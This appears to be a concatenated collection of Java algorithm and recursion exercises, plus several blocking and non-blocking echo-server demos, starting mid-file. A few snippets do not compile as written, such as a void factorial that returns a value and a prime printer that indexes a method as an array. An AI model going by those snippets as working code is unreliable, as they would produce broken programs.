       System.out.println(getSum(prefix_sum, 1, 3));
       
       System.out.println(getSum(prefix_sum, 0, 2));
       
    } 

}
// Time Complexity : O(n), Auxiliary space : O(1)

import java.util.*;
import java.io.*;

class GFG 
{ 

    static void printGroups(int arr[], int n)
    {
    	for(int i = 1; i < n; i++)
    	{
    		if(arr[i] != arr[i - 1])
    		{
    			if(arr[i] != arr[0])
                    System.out.print("From " + i + " to ");
    			else
                    System.out.println(i - 1);
    		}
    	}

    	if(arr[n - 1] != arr[0])
            System.out.println(n-1);
    }

    public static void main(String args[]) 
    { 
       int arr[] = {0, 0, 1, 1, 0, 0, 1, 1, 0}, n = 9;

       printGroups(arr, n);
    } 
}
// Efficient Solution : Time Complexity : O(n)

import java.util.*;
import java.io.*;

class GFG 
{ 
    static int findMajority(int arr[], int n)
    {
    	int res = 0, count = 1;

    	for(int i = 1; i < n; i++)
    	{
    		if(arr[res] == arr[i])
    			count++;
    		else 
    			count --;

    		if(count == 0)
    		{
    			res = i; count = 1;
    		}
    	}

    	count = 0;

    	for(int i = 0; i < n; i++)
    		if(arr[res] == arr[i])
    			count++;

    	if(count <= n /2)
    		res = -1;

    	return res; 
    }


    public static void main(String args[]) 
    { 
       int arr[] = {8, 8, 6, 6, 6, 4, 6}, n = 7;

       System.out.println(findMajority(arr, n));  // Output : 3
    } 
}


// Naive Solution : Time Complexity : O(n^2)

    static int findMajority(int arr[], int n)
    {
    	for(int i = 0; i < n; i++)
    	{
    		int count = 1;

    		for(int j = i + 1; j < n; j++)
    		{
    			if(arr[i] == arr[j])
    				count++;
    		}

    		if(count > n / 2)
    			return i;
    	}

    	return -1;
    }
// Efficient Method (Based on KADANE's ALGORITHM) : Time Complexity : O(n)

import java.util.*;
import java.io.*;

class GFG 
{ 
  	// STANDARD KADANE's ALGORITHM
    static int normalMaxSum(int arr[], int n)
    {
    	int res = arr[0];

    	int maxEnding = arr[0];

    	for(int i = 1; i < n; i++)
    	{
    		maxEnding = Math.max(maxEnding + arr[i], arr[i]);

    		res = Math.max(maxEnding, res);
    	}
    	
    	return res;
    }

    static int overallMaxSum(int arr[], int n)
    {
      	// Normal Sum
    	int max_normal = normalMaxSum(arr, n);

    	if(max_normal < 0)
    		return max_normal;

    	int arr_sum = 0;
		// Circular Sum
    	for(int i = 0; i < n; i++)
    	{
    		arr_sum += arr[i];

    		arr[i] = -arr[i];
    	}

    	int max_circular = arr_sum + normalMaxSum(arr, n);

    	return Math.max(max_circular, max_normal);
    }

    public static void main(String args[]) 
    { 
       int arr[] = {8, -4, 3, -5, 4}, n = 5;

       System.out.println(overallMaxSum(arr, n));
    } 
}



// Naive Method : Time Complexity : O(n^2)

    static int maxCircularSum(int arr[], int n)
    {
    	int res = arr[0];

    	for(int i = 0; i < n; i++)
    	{
    		int curr_max = arr[i];
    		int curr_sum = arr[i];

    		for(int j = 1; j < n; j++)
    		{
    			int index = (i + j) % n;

    			curr_sum += arr[index];

    			curr_max = Math.max(curr_max, curr_sum);
    		}

    		res = Math.max(res, curr_max);
    	}
    	return res;
    }
// Efficient Method : Time Complexity : O(n)
// Based on KADANE's ALGORITHM

import java.util.*;
import java.io.*;

class GFG 
{ 
    static int maxEvenOdd(int arr[], int n)
    {
    	int res = 1;
    	int curr = 1;

    	for(int i = 1; i < n; i++)
    	{
    			if((arr[i] % 2 == 0 && arr[i - 1] % 2 != 0)
    			   ||(arr[i] % 2 != 0 && arr[i - 1] % 2 == 0))
    				{
    					curr++;

    					res = Math.max(res, curr);
    				}
    				else
    					curr = 1;
    	}
    	
    	return res;
    }

    public static void main(String args[]) 
    { 
       int arr[] = {5, 10, 20, 6, 3, 8}, n = 6;

       System.out.println(maxEvenOdd(arr, n));
    } 
}




// Naive : Time Complexity : O(n^2)

    static int maxEvenOdd(int arr[], int n)
    {
    	int res = 1;

    	for(int i = 0; i < n; i++)
    	{
    		int curr = 1;

    		for(int j = i + 1; j < n; j++)
    		{
    			if((arr[j] % 2 == 0 && arr[j - 1] % 2 != 0)
    			   ||(arr[j] % 2 != 0 && arr[j - 1] % 2 == 0))
    				curr++;
    			else
    				break;
    		}

    		res = Math.max(res, curr);
    	}
    	
    	return res;
    }
// Efficient Method (KADANE's ALGORITHM) : Time Complexity : O(n)

import java.util.*;
import java.io.*;

class GFG 
{ 
    static int maxSum(int arr[], int n)
    {
    	int res = arr[0];

    	int maxEnding = arr[0];

    	for(int i = 1; i < n; i++)
    	{
    		maxEnding = Math.max(maxEnding + arr[i], arr[i]);

    		res = Math.max(maxEnding, res);
    	}
    	
    	return res;
    }

    public static void main(String args[]) 
    { 
       int arr[] = {1, -2, 3, -1, 2}, n = 5;

       System.out.println(maxSum(arr, n));
    } 
}


// Naive : Time Complexity : O(n^2)

	static int maxSum(int arr[], int n)
    {
    	int res = arr[0];

    	for(int i = 0; i < n; i++)
    	{
    		int curr = 0;

    		for(int j = i; j < n; j++)
    		{
    			curr = curr + arr[j];

    			res = Math.max(res, curr);
    		}
    	}
    	
    	return res;
    }
// Efficient Method : Time Complexity : O(n), Auxiliary space : O(1)

import java.util.*;
import java.io.*;

class GFG 
{ 
    static int maxConsecutiveOnes(int arr[], int n)
    {
    	int res = 0, curr = 0;

    	for(int i = 0; i < n; i++)
    	{
    		if(arr[i] == 0)
    			curr = 0;
    		else
    		{
    			curr++;

    			res = Math.max(res, curr);
    		}
    	}
    	
    	return res;
    }

    public static void main(String args[]) 
    { 
       int arr[] = {0, 1, 1, 0, 1, 1, 1}, n = 7;

       System.out.println(maxConsecutiveOnes(arr, n)); // Output : 3
    } 
}


// Naive Method : Time Complexity : O(n^2), Auxiliary space : O(1)

    static int maxConsecutiveOnes(int arr[], int n)
    {
    	int res = 0;

    	for(int i = 0; i < n; i++)
    	{
    		int curr = 0;

    		for(int j = i; j < n; j++)
    		{
    			if(arr[j] == 1) curr++;
    			else break;
    		}

    		res = Math.max(res, curr);
    	}
    	
    	return res;
    }
// Efficient Method : Time Complexity : O(n), Auxilliary Space : O(n)

import java.util.*;
import java.io.*;

class GFG 
{ 
    static int getWater(int arr[], int n)
    {
    	int res = 0;

    	int lMax[] = new int[n];
    	int rMax[] = new int[n];

    	lMax[0] = arr[0];
    	for(int i = 1; i < n; i++)
    		lMax[i] = Math.max(arr[i], lMax[i - 1]);


    	rMax[n - 1] = arr[n - 1];
    	for(int i = n - 2; i >= 0; i--)
    		rMax[i] = Math.max(arr[i], rMax[i + 1]);

    	for(int i = 1; i < n - 1; i++)
    		res = res + (Math.min(lMax[i], rMax[i]) - arr[i]);
    	
    	return res;
    }


    public static void main(String args[]) 
    { 
       int arr[] = {5, 0, 6, 2, 3}, n = 5;

      System.out.println( getWater(arr, n)); // Output : 6
    } 
}


// Naive Method : Time Complexity : O(n^2)

    static int getWater(int arr[], int n)
    {
    	int res = 0;

    	for(int i = 1; i < n - 1; i++)
    	{
    		int lMax = arr[i];

    		for(int j = 0; j < i; j++)
    			lMax = Math.max(lMax, arr[j]);

    		int rMax = arr[i];

    		for(int j = i + 1; j < n; j++)
    			rMax = Math.max(rMax, arr[j]);

    		res = res + (Math.min(lMax, rMax) - arr[i]);
    	}
    
    	return res; // Output : 6
    }
import java.util.*;
import java.io.*;

class GFG 
{ 
    static int maxProfit(int price[], int n)
    {
    	int profit = 0;

    	for(int i = 1; i < n; i++)
    	{
    		if(price[i] > price[i - 1])
    			profit += price[i] - price[i -1];
    	}
    
    	return profit;
    }

    public static void main(String args[]) 
    { 
       int arr[] = {1, 5, 3, 8, 12}, n = 5;

       System.out.println(maxProfit(arr, n));
    } 
}
import java.util.*;
import java.io.*;

class GFG 
{ 
    static int maxProfit(int price[], int start, int end)
    {
    	if(end <= start)
    		return 0;

    	int profit = 0;

    	for(int i = start; i < end; i++)
    	{
    		for(int j = i + 1; j <= end; j++)
    		{
    			if(price[j] > price[i])
    			{
    				int curr_profit = price[j] - price[i] 
    								  + maxProfit(price, start, i - 1)
    								  + maxProfit(price, j + 1, end);

    				profit = Math.max(profit, curr_profit);
    			}
    		}
    	}

    	return profit;
    }

    public static void main(String args[]) 
    { 
       int arr[] = {1, 5, 3, 8, 12}, n = 5;

       System.out.println(maxProfit(arr, 0, n-1));
    } 
}
import java.util.*;
import java.io.*;

class GFG 
{ 
    static void printFreq(int arr[], int n)
    {
    	int freq = 1, i = 1;

    	while(i < n)
    	{
    		while(i < n && arr[i] == arr[i - 1])
    		{
    			freq++;
    			i++;
    		}

    		System.out.println(arr[i - 1] + " " + freq);

    		i++;
    		freq = 1;
    	}
    }

    public static void main(String args[]) 
    { 
       int arr[] = {10, 10, 20, 30, 30, 30}, n = 6;

       printFreq(arr, n);
    } 
}
What you will learn :

 - All important concepts of Data Structures & Algorithms

 - How to enhance your problem solving skills for the product-based companies

 - Extensive knowledge on algorithms & frequently asked questions to help better your coding skills

 - Learn the problem-solving approach for the puzzle based questions asked in interviews
class Solution
{
    // String array to store keypad characters
    static String hash[] = {"", "", "abc", "def", "ghi", "jkl", "mno", "pqrs", "tuv", "wxyz"};
    
    //Function to find list of all words possible by pressing given numbers.
    static ArrayList <String> possibleWords(int a[], int N)
    {
        String str = "";
        for(int i = 0; i < N; i++)
        str += a[i];
        ArrayList<String> res = possibleWordsUtil(str);
        //arranging all possible strings lexicographically.
        Collections.sort(res); 
        return res;
                    
    }
    
    //recursive function to return all possible words that can
    //be obtained by pressing input numbers.  
    static ArrayList<String> possibleWordsUtil(String str)
    {
        //if str is empty 
        if (str.length() == 0) { 
            ArrayList<String> baseRes = new ArrayList<>(); 
            baseRes.add(""); 
  
            //returning a list containing empty string.
            return baseRes; 
        } 
        
        //storing first character of str
        char ch = str.charAt(0); 
        //storing rest of the characters of str 
        String restStr = str.substring(1); 
  
        //getting all the combination by calling function recursively.
        ArrayList<String> prevRes = possibleWordsUtil(restStr); 
        ArrayList<String> Res = new ArrayList<>(); 
      
        String code = hash[ch - '0']; 
  
        for (String val : prevRes) { 
  
            for (int i = 0; i < code.length(); i++) { 
                Res.add(code.charAt(i) + val); 
            } 
        } 
        //returning the list.
        return Res; 
    }
}
class LexSort
{
    static void solve(String s,String out, ArrayList<String> ans ,int i){
        if(i==s.length()){
            ans.add(out);
            return;
        }
        char ch=s.charAt(i);
        solve(s,out,ans,i+1);
        solve(s,out+String.valueOf(ch),ans,i+1);
    }
    
    //Function to return the lexicographically sorted power-set of the string.
    static ArrayList<String> powerSet(String s)
    {
        ArrayList<String> ans= new ArrayList<>();
        solve(s,"",ans,0);
        return ans;
    }
}
class Solution
{
    public long modfun(long n, long  R)
    {
        // Base cases 
        if (n == 0) 
            return 0; 
        // power zero mean answer is 1
        if (R == 0)  
            return 1; 
        // If R is even 
        long y; 
        if (R % 2 == 0) { 
            // finding r/2 power as power is even then storing answer in y and if power is even like 2^4 we can simply do (2^2)*(2^2)
            y = modfun(n, R/2);  
            y = (y * y) % 1000000007; 
        } 
      
        // If R is odd 
        else { 
            y = n % 1000000007; 
            // reduce the power by 1 to make it even. The reducing power by one can be done if we take one n out. Like 2^3 can be written as 2*(2^2)
            y = (y * modfun(n, R - 1) % 1000000007) % 1000000007; 
        } 
        // finally return the answer (y+mod)%mod = (y%mod+mod%mod)%mod = (y%mod)%mod
        return ((y + 1000000007) % 1000000007);  
        }
        
        
    long power(int N,int R)
    {
        return modfun(N,R)%1000000007;
        
    }

}
class Solution
{
    static int RecursivePower(int n, int p)
    {
       if(p==0){
           return 1;
       }
       return n*RecursivePower(n, p-1);
    }
}
class Solution
{
    public static boolean check(int n,int counter)
    {
        if(counter<=n){
            if(n%counter==0)
                return false;
		    // calculate next position of input number
		    n=n-n/counter;
		    counter++;
		    // make recursive call with updated counter 
		    // and position return check(n, counter);
		    return check(n, counter);
        }    
       	else
       		return true;
    }
    
    // n: Input n
    // Return True if the given number is a lucky number else return False
    public static boolean isLucky(int n)
    {
        return check(n,2);
    }
}
class Solution
{
    public static int digitalRoot(int n)
    {
        if(n < 10)
            return n;

        return digitalRoot(n%10 + n/10);
    }
}
class Solution
{
    public static int countDigits(int n)
    {
        if(n<10)
            return 1;
        else
            // recursively count the digits of n
            return 1+countDigits(n/10);
    }
}
public class Permutation
{
	public static void main(String[] args)
	{
		String str = "ABC";
		int n = str.length();
		Permutation permutation = new Permutation();
		permutation.permute(str, 0, n-1);
	}

	/**
	* permutation function
	* @param str string to calculate permutation for
	* @param l starting index
	* @param r end index
	*/
	private void permute(String str, int l, int r)
	{
		if (l == r)
			System.out.println(str);
		else
		{
			for (int i = l; i <= r; i++)
			{
				str = swap(str,l,i);
				permute(str, l+1, r);
				str = swap(str,l,i);
			}
		}
	}

	/**
	* Swap Characters at position
	* @param a string value
	* @param i position 1
	* @param j position 2
	* @return swapped string
	*/
	public String swap(String a, int i, int j)
	{
		char[] arr = a.toCharArray();
		char temp = arr[i] ;
		arr[i] = arr[j];
		arr[j] = temp;
		return String.valueOf(arr);
	}

}
// Naive recursive solution : Time Complexity : Θ(2^n)

import java.io.*;
import java.util.*;

class GFG {

	static int countSubsets(int arr[], int n, int sum)
	{
		if(n == 0)
			return sum==0 ? 1 : 0;

		return countSubsets(arr, n-1, sum) + countSubsets(arr, n-1, sum - arr[n-1]);
	}

	public static void main (String[] args) 
    {
		int n = 3, arr[]= {10, 20, 15}, sum = 25;

		System.out.println(countSubsets(arr, n, sum));
	}
}
// Time Complexity : O(n)

import java.util.*;
import java.io.*;

class GFG 
{ 
    static int check(int n, int k)
    {
    	if(n == 1)
    		return 0;
    	else
    		return (check(n - 1, k) + k) % n;
    }

    static int josephus(int n, int k)
    {
    	return check(n, k) + 1;
    }
      
    public static void main(String args[]) 
    { 
        System.out.println(josephus(5, 3));  
    } 
}
import java.util.*;
import java.io.*;

class GFG 
{ 
    static void ToH(int n, char A, char B, char C) 
    { 
        if (n == 1) 
        { 
            System.out.println("Move 1 from " +  A + " to " + C); 
            return; 
        } 
        ToH(n-1, A, C, B); 
        System.out.println("Move " + n + " from " +  A + " to " + C); 
        ToH(n-1, B, A, C); 
    } 
   
    public static void main(String args[]) 
    { 
        int n = 2; 
        ToH(n, 'A', 'B', 'C');  
    } 
}
import java.io.*;
import java.util.*;

class GFG 
{
	static void printSub(String str, String curr, int index)
	{
		if(index == str.length())
		{
			System.out.print(curr+" ");
			return;
		}

		printSub(str, curr, index + 1);
		printSub(str, curr+str.charAt(index), index + 1);
	}
  
    public static void main(String [] args) 
    {
    	String str = "ABC";
    	
    	printSub(str, "", 0); 
    }
}
import java.io.*;
import java.util.*;

class GFG 
{
	static int maxCuts(int n, int a, int b, int c)
	{
		if(n == 0) return 0;
		if(n < 0)  return -1;

		int res = Math.max(maxCuts(n-a, a, b, c), 
		          Math.max(maxCuts(n-b, a, b, c), 
		          maxCuts(n-c, a, b, c)));

		if(res == -1)
			return -1;

		return res + 1; 
	}
  
    public static void main(String [] args) 
    {
    	int n = 5, a = 2, b = 1, c = 5;
    	
    	System.out.println(maxCuts(n, a, b, c));
    }
}
// Sum of Digits Using Recursion : Time Complexity : O(d), Space Complexity : O(d) 
// where d is the number of digits in number

import java.io.*;
import java.util.*;

class GFG 
{
	static int fun(int n)
	{
		if(n < 10)
			return n;

		return fun(n / 10) + n % 10;
	}
    public static void main(String [] args) 
    {
    	System.out.println(fun(253));
    }
}


// Iterative : Time Complexity : O(d), Space Complexity : O(1) {No Overhead & Less Aux. Space}

	static int getSum(int n)
	{
		int sum = 0;

		while (n != 0) {
			sum = sum + n % 10;
			n = n / 10;
		}

		return sum;
	}
// Time Complexity : O(n), Space Complexity : O(n)

import java.io.*;
import java.util.*;

class GFG 
{
	static boolean isPalindrome(String str, int start, int end)
	{
		if(start >= end)
			return true;

		return ((str.charAt(start)==str.charAt(end)) && 
			     isPalindrome(str, start + 1, end - 1));
	}
    public static void main(String [] args) 
    {
    	String s = "GeekskeeG";

    	System.out.println(isPalindrome(s, 0, s.length() -1));
    }
}
// Time Complexity : O(n), Space Complexity : O(n)

import java.io.*;
import java.util.*;

class GFG 
{
	static int getSum(int n)
	{
		if(n == 0)
			return 0;

		return n + getSum(n - 1);
	}
    public static void main(String [] args) 
    {
    	int n = 4;
    	
    	System.out.println(getSum(n));
    }
}
// Time Complexity: O(2^n), Auxiliary Space: O(N).
// Fibonacci Series using Recursion

class fibonacci
{
	static int fib(int n)
	{
      // if (n == 0) return 0;
      // if (n == 1) return 1;
      if (n <= 1)
      	return n;
      
      return fib(n-1) + fib(n-2);
	}
	
	public static void main (String args[])
	{
      int n = 9;
      System.out.println(fib(n));
	}
}
class AcceptCompletionHandler implements CompletionHandler<AsynchronousSocketChannel, Void> {

   private final AsynchronousServerSocketChannel serverSocketChannel;

   AcceptCompletionHandler(AsynchronousServerSocketChannel serverSocketChannel) {
       this.serverSocketChannel = serverSocketChannel;
   }

   @Override
   public void completed(AsynchronousSocketChannel socketChannel, Void attachment) {
       serverSocketChannel.accept(null, this); // non-blocking

       ByteBuffer buffer = ByteBuffer.allocate(1024);
       ReadCompletionHandler readCompletionHandler = new ReadCompletionHandler(socketChannel, buffer);
       socketChannel.read(buffer, null, readCompletionHandler); // non-blocking
   }

   @Override
   public void failed(Throwable t, Void attachment) {
       // exception handling
   }
}
public class Nio2CompletionHandlerEchoServer {

   public static void main(String[] args) throws IOException {
       AsynchronousServerSocketChannel serverSocketChannel = AsynchronousServerSocketChannel.open();
       serverSocketChannel.bind(new InetSocketAddress(7000));

       AcceptCompletionHandler acceptCompletionHandler = new AcceptCompletionHandler(serverSocketChannel);
       serverSocketChannel.accept(null, acceptCompletionHandler);

       System.in.read();
   }
}
public class NioMultiplexingEchoServer {

   public static void main(String[] args) throws IOException {
       final int ports = 8;
       ServerSocketChannel[] serverSocketChannels = new ServerSocketChannel[ports];

       Selector selector = Selector.open();

       for (int p = 0; p < ports; p++) {
           ServerSocketChannel serverSocketChannel = ServerSocketChannel.open();
           serverSocketChannels[p] = serverSocketChannel;
           serverSocketChannel.configureBlocking(false);
           serverSocketChannel.bind(new InetSocketAddress("localhost", 7000 + p));

           serverSocketChannel.register(selector, SelectionKey.OP_ACCEPT);
       }

       while (active) {
           selector.select(); // blocking

           Iterator<SelectionKey> keysIterator = selector.selectedKeys().iterator();
           while (keysIterator.hasNext()) {
               SelectionKey key = keysIterator.next();

               if (key.isAcceptable()) {
                   accept(selector, key);
               }

               if (key.isReadable()) {
                   keysIterator.remove();
                   read(selector, key);
               }
               if (key.isWritable()) {
                   keysIterator.remove();
                   write(key);
               }
           }
       }

       for (ServerSocketChannel serverSocketChannel : serverSocketChannels) {
           serverSocketChannel.close();
       }
   }
}
public class NioNonBlockingEchoServer {

   public static void main(String[] args) throws IOException {
       ServerSocketChannel serverSocketChannel = ServerSocketChannel.open();
       serverSocketChannel.configureBlocking(false);
       serverSocketChannel.bind(new InetSocketAddress(7000));

       while (active) {
           SocketChannel socketChannel = serverSocketChannel.accept(); // non-blocking
           if (socketChannel != null) {
               socketChannel.configureBlocking(false);

               ByteBuffer buffer = ByteBuffer.allocate(1024);
               while (true) {
                   buffer.clear();
                   int read = socketChannel.read(buffer); // non-blocking
                   if (read < 0) {
                       break;
                   }

                   buffer.flip();
                   socketChannel.write(buffer); // can be non-blocking
               }

               socketChannel.close();
           }
       }

       serverSocketChannel.close();
   }
}
public class NioBlockingEchoServer {

   public static void main(String[] args) throws IOException {
       ServerSocketChannel serverSocketChannel = ServerSocketChannel.open();
       serverSocketChannel.bind(new InetSocketAddress("localhost", 7000));

       while (active) {
           SocketChannel socketChannel = serverSocketChannel.accept(); // blocking

           ByteBuffer buffer = ByteBuffer.allocate(1024);
           while (true) {
               buffer.clear();
               int read = socketChannel.read(buffer); // blocking
               if (read < 0) {
                   break;
               }

               buffer.flip();
               socketChannel.write(buffer); // blocking
           }

           socketChannel.close();
       }

       serverSocketChannel.close();
   }
}
public class IoEchoServer {

   public static void main(String[] args) throws IOException {
       ServerSocket serverSocket = new ServerSocket(7000);

       while (active) {
           Socket socket = serverSocket.accept(); // blocking

           InputStream is = socket.getInputStream();
           OutputStream os = socket.getOutputStream();

           int read;
           byte[] bytes = new byte[1024];
           while ((read = is.read(bytes)) != -1) { // blocking
               os.write(bytes, 0, read); // blocking
           }

           socket.close();
       }

       serverSocket.close();
   }
}
// NON-TAIL RECURSIVE
 
import java.io.*;
import java.util.*;
 
class GFG 
{

	static void fun(int n)
	{
		if(n == 0 || n == 1)
			return 1;
 
		return n*fact(n - 1);
 
	}
  
    public static void main(String [] args) 
    {
    	fun(3);
    }

}




// TAIL RECURSIVE

import java.io.*;
import java.util.*;

class GFG {

	
	static int fact(int n, int k)
	{
		if(n == 0 || n == 1)
			return k;

		return fact(n - 1, k * n);

	}
  
    public static void main(String [] args) 
    {
    	System.out.println(fact(3, 1));
    }

}
// Example1 : NON-TAIL RECURSIVE

import java.io.*;
import java.util.*;

class GFG 
{
  	// Print N to 1 Using Recursion
	static void fun(int n)
	{
		if(n == 0)
			return;

		System.out.print(n+" ");

		fun(n - 1);

	}
    public static void main(String [] args) 
    {
    	fun(3);
    }
}

// Example2 : TAIL RECURSIVE

import java.io.*;
import java.util.*;

class GFG 
{
  	// Print 1 to N Using Recursion
	static void fun(int n, int k)
	{
		if(n == 0)
			return;

		System.out.print(k+" ");

		fun(n - 1, k + 1);

	}
    public static void main(String [] args) 
    {
    	fun(3, 1);
    }
}
// Time Complexity : O(n), Space Complexity : O(n) (Recursive)

import java.io.*;
import java.util.*;

class GFG {

	
	static void printToN(int n)
	{
		if(n == 0)
			return;
		
		printToN(n - 1);

		System.out.print(n+" ");

	}
    public static void main(String [] args) 
    {
    	int n = 4;

    	printToN(n);
        
    }

}
import java.io.*;
import java.util.*;

class GFG {

	
	static void printToN(int n)
	{
		if(n == 0)
			return;
		
		System.out.print(n+" ");
		
		printToN(n - 1);

	}
    public static void main(String [] args) 
    {
    	int n = 4;

    	printToN(n);
        
    }

}
import java.io.*;
import java.util.*;

class GFG {

	
	static void fun(int n)
	{
		if(n == 0)
			return;
		
		fun(n / 2);

		System.out.println(n % 2);

	}
    public static void main(String [] args) 
    {
        fun(7);
    }

}
class GFG {

	
	static int fun(int n)
	{
		if(n == 1)
			return 0;
		else
			return 1 + fun(n / 2);
	}
    public static void main(String [] args) 
    {
        System.out.println(fun(16));
    }

}
import java.io.*;
import java.util.*;

class GFG {

	
	static void fun(int n)
	{
		if(n == 0)
			return;

		System.out.println(n);

		fun(n - 1);

		System.out.println(n);
	}
    public static void main(String [] args) 
    {
        fun(3);
    }

}
import java.io.*;
import java.util.*;

class GFG {

	
	static void fun(int n)
	{
		if(n == 0)
			return;

		fun(n - 1);

		System.out.println(n);
		
		fun(n - 1);
	}
    public static void main(String [] args) 
    {
        fun(3);
    }

}
import java.io.*;
import java.util.*;

class GFG {

	
	static void fun1(int n)
	{
		if(n == 0)
			return;

		System.out.println("GFG");

		fun1(n - 1);
	}
    public static void main(String [] args) 
    {
        fun1(2);
    }

}
import java.io.*;
import java.util.*;

class GFG {

	
	static void fun1()
	{
		System.out.println("fun1");
	}

	static void fun2()
	{
		System.out.println("Before fun1");

		fun1();

		System.out.println("After fun1");
	}

	public static void main (String[] args) {
		
		System.out.println("Before fun2");

		fun2();

		System.out.println("After fun2");

	}
}
// Efficient Method : Time Complexity : θ(logn), Auxiliary Space: θ(1)

import java.io.*;
import java.util.*;

public class Main {
	
	static int power(int x, int n)
	{
	    int res = 1;
    
        while(n>0)
        {
          if(n%2 != 0) 
          {
            res = res * x;
            x = x*x;
            n = n/2;
          }
          else 
          {
            x = x*x;
            n = n/2;
          }
        }

		return res; 
	}

	public static void main (String[] args) {
		
		int x = 3, n = 4;

		System.out.println(power(x, n));

	}
}
// Efficient Method : Time Complexity : θ(logn), Auxiliary Space: θ(logn)

import java.io.*;
import java.util.*;

public class Main {
	
	static int power(int x, int n)
	{
		if(n == 0)
			return 1;

		int temp = power(x, n/2);

		temp = temp * temp;

		if(n % 2 == 0)
			return temp;
		else
			return temp * x; 
	}

	public static void main (String[] args) {
		
		int x = 3, n = 5;

		System.out.println(power(x, n));

	}
}

// Naive Method : Time Complexity : θ(n)
	
	static int power(int x, int n)
	{
	    int res = 1;
    
        for(int i=0; i<n; i++)
        {
          res = res * x;
        }

		return res; 
	}
// Shorter Implementation of the optimized sieve : 

import java.io.*;
import java.util.*;

public class Main {
	
	static void sieve(int n)
	{
		if(n <= 1)
			return;

		boolean isPrime[] = new boolean[n+1];

		Arrays.fill(isPrime, true);

		for(int i=2; i <= n; i++)
		{
			if(isPrime[i])
			{
        System.out.print(i+" ");
				for(int j = i*i; j <= n; j = j+i)
				{
					isPrime[j] = false;
				}
			}
		}
	}

	public static void main (String[] args) {
		
		int n = 23;

		sieve(n);

	}
}

//Optimized Implementation : Time Complexity : O(nloglogn), Auxiliary Space : O(n)
	
	static void sieve(int n)
	{
		if(n <= 1)
			return;

		boolean isPrime[] = new boolean[n+1];

		Arrays.fill(isPrime, true);

		for(int i=2; i*i <= n; i++)
		{
			if(isPrime[i])
			{
				for(int j = i*i; j <= n; j = j+i) // Replaced 2*i by i*i
				{
					isPrime[j] = false;
				}
			}
		}

		for(int i = 2; i<=n; i++)
		{
			if(isPrime[i])
				System.out.print(i+" ");
		}
	}


//Simple Implementation of Sieve : 
	
	static void sieve(int n)
	{
		if(n <= 1)
			return;

		boolean isPrime[] = new boolean[n+1];

		Arrays.fill(isPrime, true);

		for(int i=2; i*i <= n; i++)
		{
			if(isPrime[i])
			{
				for(int j = 2*i; j <= n; j = j+i) 
				{
					isPrime[j] = false;
				}
			}
		}

		for(int i = 2; i<=n; i++)
		{
			if(isPrime[i])
				System.out.print(i+" ");
		}
	}


//Naive Solution : Time Complexity : O(n(sqrt(n))
  
	static boolean isPrime(int n)
	{
		if(n==1)
			return false;

		if(n==2 || n==3)
			return true;

		if(n%2==0 || n%3==0)
			return false;

		for(int i=5; i*i<=n; i=i+6)
		{
			if(n % i == 0 || n % (i + 2) == 0)
				return false; 
		}

		return true;
	}
	
	static void printPrimes(int n)
	{
		for(int i = 2; i<=n; i++)
		{
			if(isPrime[i])
				System.out.print(i+" ");
		}
	}
// Efficient Code with Sorted Order

	static void printDivisors(int n)
	{
		int i = 1;
      	// Print all divisors from 1(inlcusive) to sqrt(n) (exclusive)
		for(i=1; i*i < n; i++)
		{
			if(n % i == 0)
			{
				System.out.print(i+" ");
			}
		}
		// Print all divisors from sqrt(n)(inlcusive) to n (inclusive)
		for(; i >= 1; i--)
		{
			if(n % i == 0)
			{
				System.out.print((n / i)+" ");
			}
		}
	}

//Efficient Code : Time Complexity: O(sqrt(n)) , Auxiliary Space : O(1)

	static void printDivisors(int n)
	{
		for(int i=1; i*i <= n; i++)
		{
			if(n % i == 0)
			{
				System.out.print(i+" ");

				if(i != n / i)
					System.out.print((n / i)+" ");					
			}
		}
	}

// Naive Solution : Time Complexity : O(n) , Auxiliary Space : O(1)

	static void printDivisors(int n)
	{
		for (int i=1;i<=n;i++)
			if (n%i==0)
				System.out.print(i+" ");
	}
//Prime Factors in java
//More Efficient Solution : Time Complexity : O(sqrt(n))

import java.io.*;
import java.util.*;

public class Main {

	
	static void printPrimeFactors(int n)
	{
		if(n <= 1)
			return;

		while(n % 2 == 0)
		{
			System.out.print(2+" ");

			n = n / 2;
		}

		while(n % 3 == 0)
		{
			System.out.print(3+" ");

			n = n / 3;
		}

		for(int i=5; i*i<=n; i=i+6)
		{
			while(n % i == 0)
			{
				System.out.print(i+" ");

				n = n / i;
			}

			while(n % (i + 2) == 0)
			{
				System.out.print((i + 2)+" ");

				n = n / (i + 2);
			}
		}

		if(n > 3)
			System.out.print(n+" ");

		System.out.println();
	}

	public static void main (String[] args) {
		
		int n = 450;

		printPrimeFactors(n);

	}
}


//Efficient Code : 


	static void printPrimeFactors(int n)
	{
		if(n <= 1)
			return;

		for(int i=2; i*i<=n; i++)
		{
			while(n % i == 0)
			{
				System.out.print(i+" ");

				n = n / i;
			}
		}

		if(n > 1)
			System.out.print(n+" ");

		System.out.println();
	}



// Naive Method : Time Complexity : O(n^2(logn))

	static boolean isPrime(int n)
	{
		if(n==1)
			return false;

		if(n==2 || n==3)
			return true;

		if(n%2==0 || n%3==0)
			return false;

		for(int i=5; i*i<=n; i=i+6)
		{
			if(n % i == 0 || n % (i + 2) == 0)
				return false; 
		}

		return true;
	}

	static void PrimeFactors(int n)
	{
		for(int i=2; i<n; i++)
		{
		    if(isPrime(i))
		    {
		        int x = i;
		        while(n%x == 0)
		        {
		            System.out.print(i+" ");
		            x = x*i;
		        }
		    }
		}
	}
// Time Complexity: O(N^1/2), Auxilliary Space: O(1)
//More Efficient Code(for large numbers)
//Almost 3x faster than Efficient Solution

import java.io.*;
import java.util.*;

public class Main {

	static boolean isPrime(int n)
	{
		if(n==1)
			return false;

		if(n==2 || n==3)
			return true;

		if(n%2==0 || n%3==0)
			return false;

		for(int i=5; i*i<=n; i=i+6)
		{
			if(n % i == 0 || n % (i + 2) == 0)
				return false; 
		}

		return true;
	}

  	//DRIVER CODE
	public static void main (String[] args) {
	    
	    //taking input using Scanner class
		Scanner sc=new Scanner(System.in);
		
		int T=sc.nextInt();//input testcases
 
 
		while(T-->0)//while testcase have not been exhausted
		{
		    Solution obj=new Solution ();
		    int N;
		    N=sc.nextInt();//input n
		    if(obj.isPrime(N))
		        System.out.println("Yes");
		    else
		        System.out.println("No");
		    
		}
		
	}
}


//Efficient Code : Time Complexity : O(sqrt(n))
	
	static boolean isPrime(int n)
	{
		if(n==1)
			return false;

		for(int i=2; i*i<=n; i++)
		{
			if(n % i == 0)
				return false; 
		}

		return true;
	}


// Naive Method : Time Complexity : O(n)

	static boolean isPrime(int n)
	{
	    if(n == 1)
	        return false;
		for(int i=2; i<n; i++)
		{
		    if(n%i == 0)
